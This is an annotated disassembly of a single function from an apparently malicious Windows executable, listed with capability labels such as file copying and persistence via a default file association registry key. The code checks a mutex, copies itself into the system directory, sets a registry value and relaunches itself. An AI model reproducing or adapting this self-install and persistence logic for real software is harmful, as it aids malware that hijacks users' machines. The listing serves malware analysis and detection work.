Function at 0x405bec
Capabilities:
Copy file
Create process on windows
Get common file path
Persist via default file association registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
mov eax, 0x405b8c
call fcn.00404318
xor eax, eax
push ebp
push 0x405e99
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x4060cc]
call fcn.00403d34
push eax
push 0xffffffffffffffff
push 0
call fcn.00404404
mov ebx, eax
call sub.kernel32.dll_GetLastError_1
cmp eax, 0xb7
jne 0x405c40
push 0
call sub.kernel32.dll_ExitProcess_1
push 0xff
push 0x407874
call sub.kernel32.dll_GetSystemDirectoryA
mov eax, 0x407864
mov edx, 0x407874
mov ecx, pe_nt_image_headers32
call fcn.00403b24
mov eax, 0x407864
mov edx, 0x405eb0
call fcn.00403b44
mov eax, 0x405ec4
call fcn.00405a70
mov eax, 0x407974
mov edx, 0x407874
mov ecx, pe_nt_image_headers32
call fcn.00403b24
mov eax, 0x407974
mov edx, 0x405ed4
call fcn.00403b44
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.0040273c
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x14]
call fcn.00405230
mov eax, dword [ebp - 0x14]
mov edx, dword [0x407974]
call fcn.00403c80
je 0x405e60
mov eax, 0x407974
mov edx, 0x407874
mov ecx, pe_nt_image_headers32
call fcn.00403b24
mov eax, 0x407974
mov edx, 0x405ee8
call fcn.00403b44
push 0
mov eax, dword [0x407974]
call fcn.00403d34
push eax
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.0040273c
mov eax, dword [ebp - 0x1c]
call fcn.00403d34
push eax
call sub.kernel32.dll_CopyFileA
mov eax, 0x407974
mov edx, 0x407874
mov ecx, pe_nt_image_headers32
call fcn.00403b24
mov eax, 0x40797c
mov edx, 0x407874
mov ecx, pe_nt_image_headers32
call fcn.00403b24
push 0x40797c
mov edx, dword [0x40797c]
mov eax, 0x405efc
call fcn.00403dcc
inc eax
push eax
mov eax, dword [0x40797c]
call fcn.00403b3c
mov ecx, eax
mov eax, dword [0x40797c]
pop edx
call fcn.00403d8c
mov edx, dword [0x40797c]
mov eax, 0x405efc
call fcn.00403dcc
test eax, eax
jne 0x405d38
mov eax, 0x407980
mov ecx, 0x405ed4
mov edx, dword [0x407974]
call fcn.00403b88
mov eax, 0x407974
mov edx, 0x405f08
call fcn.00403b44
mov eax, dword [0x407980]
call fcn.00405850
test al, al
jne 0x405dc9
push 0
mov eax, dword [0x407980]
call fcn.00403d34
push eax
mov eax, dword [0x407974]
call fcn.00403d34
push eax
call sub.kernel32.dll_CopyFileA
mov eax, dword [0x407980]
call fcn.00405884
push 0x405f20
push dword [0x40797c]
push 0x405f38
mov eax, 0x40797c
mov edx, 3
call fcn.00403bfc
push 0x407978
push 0x405f48
push 0x80000000
call sub.advapi32.dll_RegOpenKeyA
mov esi, 0x400
push esi
mov eax, 0x40797c
call fcn.00403d84
push eax
push 2
push 0
push 0x405f64
mov eax, dword [0x407978]
push eax
call sub.advapi32.dll_RegSetValueExA
mov eax, dword [0x407978]
push eax
call sub.advapi32.dll_RegCloseKey_1
push ebx
call sub.kernel32.dll_ReleaseMutex
push 1
push 0
push 0
mov eax, dword [0x407980]
call fcn.00403d34
push eax
push 0x405f68
push 0
call sub.shell32.dll_ShellExecuteA
push 0
call sub.kernel32.dll_ExitProcess_1
push 0x405f70
push 0x405f7c
push 0x405f98
push 0x405fa0
call sub.kernel32.dll_WritePrivateProfileStringA
call fcn.004051e0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405ea0
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.004038f0
ret